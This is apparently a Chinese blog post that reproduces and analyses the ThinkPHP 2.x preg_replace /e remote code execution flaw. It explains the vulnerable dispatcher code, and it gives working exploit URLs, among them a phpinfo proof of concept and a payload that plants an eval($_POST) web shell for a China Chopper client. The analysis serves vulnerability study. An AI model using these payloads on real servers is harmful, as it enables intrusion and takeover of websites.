ThinkPHP 2.x 任意代码执行漏洞 复现与分析

漏洞描述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞复现

POC

http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

菜刀连接

http://192.168.232.128:8080/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}

连接密码:1

漏洞分析

  • 存在漏洞的文件
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
  • 漏洞代码位置
// Dispatcher.class.php中static public function dispatch()  第102行

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
  • 漏洞代码块
        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }
  • 分析

检测路由规则 如果没有则按默认规则调度URL,然后解析剩余的URL参数

正则表达式的修饰符/e:只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串
例:

<?php
$a = '1a2b3c';
$b = preg_replace('/\d/e', 'print(xxx);', $a);
echo $b;
>

运行结果


Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx1a1b1c

虽然有报错,但是已经执行了print(xxx)

正则表达式的搜索模式:(\w+)/([^/])是取每两个参数

$var['\1']="\2";是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值

例:

<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>

运行结果:

Array ( [a] => b [c] => d [e] => f ) 

这里最开始匹配到a、b,a作为键,b作为值,以此类推

为了让我们构造的语句以执行,我们只需要将语句作为数组的值,如:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

(语句在第偶数个参数位置)

  • PHP语法
    在PHP中${}里面可以执行函数

  • ThinkPHP的url规则
    thinkphp 所有的主入口文件默认访问index控制器(模块)
    thinkphp 所有的控制器默认执行index动作(方法)
    存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
    ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

参考连接:
https://www.freebuf.com/column/223149.html

posted @ 2020-02-02 15:32  g0udan  阅读(1995)  评论(0编辑  收藏  举报